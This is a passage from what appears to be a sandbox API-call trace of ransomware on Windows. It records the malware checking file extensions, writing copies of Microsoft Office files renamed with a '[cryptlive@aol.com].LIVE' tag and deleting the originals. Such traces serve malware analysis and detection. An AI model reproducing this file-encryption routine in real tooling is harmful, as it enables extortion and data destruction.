Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll")) returned 1 [0144.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.441] lstrlenW (lpString=".doc") returned 4 [0144.441] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0144.441] lstrlenW (lpString=".docx") returned 5 [0144.441] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0144.441] lstrlenW (lpString=".pdf") returned 4 [0144.441] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0144.441] lstrlenW (lpString=".xls") returned 4 [0144.441] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0144.441] lstrlenW (lpString=".xlsx") returned 5 [0144.441] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0144.441] lstrlenW (lpString=".ppt") returned 4 [0144.441] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0144.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.441] lstrlenW (lpString=".zip") returned 4 [0144.441] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0144.441] lstrlenW (lpString=".rar") returned 4 [0144.441] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0144.441] lstrlenW (lpString=".bz2") returned 4 [0144.442] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0144.442] lstrlenW (lpString=".7z") returned 3 [0144.442] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.442] lstrlenW (lpString=".dbf") returned 4 [0144.442] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0144.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.442] lstrlenW (lpString=".1cd") returned 4 [0144.442] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0144.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.442] lstrlenW (lpString=".jpg") returned 4 [0144.442] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0144.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.442] lstrlenW (lpString=".doc") returned 4 [0144.442] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0144.442] lstrlenW (lpString=".docx") returned 5 [0144.442] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0144.442] lstrlenW (lpString=".pdf") returned 4 [0144.442] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0144.442] lstrlenW (lpString=".xls") returned 4 [0144.442] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0144.442] lstrlenW (lpString=".xlsx") returned 5 [0144.442] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0144.442] lstrlenW (lpString=".ppt") returned 4 [0144.442] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0144.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.442] lstrlenW (lpString=".zip") returned 4 [0144.442] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0144.442] lstrlenW (lpString=".rar") returned 4 [0144.442] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0144.442] lstrlenW (lpString=".bz2") returned 4 [0144.442] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0144.442] lstrlenW (lpString=".7z") returned 3 [0144.443] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.443] lstrlenW (lpString=".dbf") returned 4 [0144.443] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0144.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.443] lstrlenW (lpString=".1cd") returned 4 [0144.443] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0144.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0144.443] lstrlenW (lpString=".jpg") returned 4 [0144.443] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0144.443] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0144.443] lstrlenW (lpString="OUTLOOK.DEV.HXS") returned 15 [0144.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.443] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6988760) returned 1 [0144.443] CloseHandle (hObject=0x39c) returned 1 [0144.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs")) returned 0x20 [0144.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0144.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.444] lstrlenW (lpString=".doc") returned 4 [0144.444] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0144.444] lstrlenW (lpString=".docx") returned 5 [0144.444] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0144.444] lstrlenW (lpString=".pdf") returned 4 [0144.444] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0144.444] lstrlenW (lpString=".xls") returned 4 [0144.444] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0144.444] lstrlenW (lpString=".xlsx") returned 5 [0144.444] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0144.444] lstrlenW (lpString=".ppt") returned 4 [0144.444] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0144.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.444] lstrlenW (lpString=".zip") returned 4 [0144.444] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0144.444] lstrlenW (lpString=".rar") returned 4 [0144.444] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0144.444] lstrlenW (lpString=".bz2") returned 4 [0144.444] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0144.444] lstrlenW (lpString=".7z") returned 3 [0144.445] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0144.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.445] lstrlenW (lpString=".dbf") returned 4 [0144.445] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0144.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.445] lstrlenW (lpString=".1cd") returned 4 [0144.445] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0144.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.445] lstrlenW (lpString=".jpg") returned 4 [0144.445] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0144.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.445] lstrlenW (lpString=".doc") returned 4 [0144.445] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0144.445] lstrlenW (lpString=".docx") returned 5 [0144.445] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0144.445] lstrlenW (lpString=".pdf") returned 4 [0144.445] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0144.445] lstrlenW (lpString=".xls") returned 4 [0144.445] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0144.445] lstrlenW (lpString=".xlsx") returned 5 [0144.445] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0144.445] lstrlenW (lpString=".ppt") returned 4 [0144.445] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0144.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.445] lstrlenW (lpString=".zip") returned 4 [0144.445] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0144.445] lstrlenW (lpString=".rar") returned 4 [0144.445] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0144.445] lstrlenW (lpString=".bz2") returned 4 [0144.445] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0144.445] lstrlenW (lpString=".7z") returned 3 [0144.445] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0144.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.445] lstrlenW (lpString=".dbf") returned 4 [0144.445] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0144.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.446] lstrlenW (lpString=".1cd") returned 4 [0144.446] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0144.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0144.446] lstrlenW (lpString=".jpg") returned 4 [0144.446] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0144.446] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0144.446] lstrlenW (lpString="OUTLOOK.DEV_COL.HXC") returned 19 [0144.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.446] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=651) returned 1 [0144.446] CloseHandle (hObject=0x39c) returned 1 [0144.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc")) returned 0x20 [0144.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.447] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.447] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0144.448] GetLastError () returned 0x0 [0144.448] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x28b, lpOverlapped=0x0) returned 1 [0144.550] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x290, lpOverlapped=0x0) returned 1 [0144.551] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.551] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0144.552] SetEndOfFile (hFile=0x394) returned 1 [0144.629] CloseHandle (hObject=0x394) returned 1 [0144.629] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.629] SetEndOfFile (hFile=0x39c) returned 1 [0144.819] CloseHandle (hObject=0x39c) returned 1 [0144.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc")) returned 1 [0144.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.820] lstrlenW (lpString=".doc") returned 4 [0144.820] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0144.820] lstrlenW (lpString=".docx") returned 5 [0144.820] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0144.820] lstrlenW (lpString=".pdf") returned 4 [0144.820] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0144.820] lstrlenW (lpString=".xls") returned 4 [0144.820] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0144.820] lstrlenW (lpString=".xlsx") returned 5 [0144.820] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0144.820] lstrlenW (lpString=".ppt") returned 4 [0144.820] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0144.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.820] lstrlenW (lpString=".zip") returned 4 [0144.820] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0144.820] lstrlenW (lpString=".rar") returned 4 [0144.820] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0144.821] lstrlenW (lpString=".bz2") returned 4 [0144.821] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0144.821] lstrlenW (lpString=".7z") returned 3 [0144.821] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0144.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.821] lstrlenW (lpString=".dbf") returned 4 [0144.821] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0144.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.821] lstrlenW (lpString=".1cd") returned 4 [0144.821] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0144.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.821] lstrlenW (lpString=".jpg") returned 4 [0144.821] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0144.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.821] lstrlenW (lpString=".doc") returned 4 [0144.821] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0144.821] lstrlenW (lpString=".docx") returned 5 [0144.821] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0144.821] lstrlenW (lpString=".pdf") returned 4 [0144.821] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0144.821] lstrlenW (lpString=".xls") returned 4 [0144.821] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0144.821] lstrlenW (lpString=".xlsx") returned 5 [0144.821] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0144.821] lstrlenW (lpString=".ppt") returned 4 [0144.821] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0144.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.821] lstrlenW (lpString=".zip") returned 4 [0144.821] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0144.821] lstrlenW (lpString=".rar") returned 4 [0144.821] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0144.821] lstrlenW (lpString=".bz2") returned 4 [0144.821] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0144.821] lstrlenW (lpString=".7z") returned 3 [0144.822] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0144.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.822] lstrlenW (lpString=".dbf") returned 4 [0144.822] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0144.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.822] lstrlenW (lpString=".1cd") returned 4 [0144.822] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0144.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0144.822] lstrlenW (lpString=".jpg") returned 4 [0144.822] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0144.822] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0144.822] lstrlenW (lpString="OUTLWVW.DLL") returned 11 [0144.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.823] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=128864) returned 1 [0144.823] CloseHandle (hObject=0x39c) returned 1 [0144.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll")) returned 0x20 [0144.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.823] lstrlenW (lpString=".doc") returned 4 [0144.823] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.823] lstrlenW (lpString=".docx") returned 5 [0144.823] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0144.823] lstrlenW (lpString=".pdf") returned 4 [0144.823] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.823] lstrlenW (lpString=".xls") returned 4 [0144.823] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.823] lstrlenW (lpString=".xlsx") returned 5 [0144.823] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0144.823] lstrlenW (lpString=".ppt") returned 4 [0144.823] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.823] lstrlenW (lpString=".zip") returned 4 [0144.823] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.823] lstrlenW (lpString=".rar") returned 4 [0144.824] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.824] lstrlenW (lpString=".bz2") returned 4 [0144.824] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0144.824] lstrlenW (lpString=".7z") returned 3 [0144.824] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.824] lstrlenW (lpString=".dbf") returned 4 [0144.824] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.824] lstrlenW (lpString=".1cd") returned 4 [0144.824] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.824] lstrlenW (lpString=".jpg") returned 4 [0144.824] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.824] lstrlenW (lpString=".doc") returned 4 [0144.824] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.824] lstrlenW (lpString=".docx") returned 5 [0144.824] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0144.824] lstrlenW (lpString=".pdf") returned 4 [0144.824] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.824] lstrlenW (lpString=".xls") returned 4 [0144.824] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.824] lstrlenW (lpString=".xlsx") returned 5 [0144.824] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0144.824] lstrlenW (lpString=".ppt") returned 4 [0144.824] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.824] lstrlenW (lpString=".zip") returned 4 [0144.824] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.824] lstrlenW (lpString=".rar") returned 4 [0144.824] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.824] lstrlenW (lpString=".bz2") returned 4 [0144.824] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0144.824] lstrlenW (lpString=".7z") returned 3 [0144.825] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.825] lstrlenW (lpString=".dbf") returned 4 [0144.825] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.825] lstrlenW (lpString=".1cd") returned 4 [0144.825] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0144.825] lstrlenW (lpString=".jpg") returned 4 [0144.825] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.825] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0144.825] lstrlenW (lpString="OUTLWVW.DLL.IDX_DLL") returned 19 [0144.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.826] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=11136) returned 1 [0144.826] CloseHandle (hObject=0x39c) returned 1 [0144.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll")) returned 0x20 [0144.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program 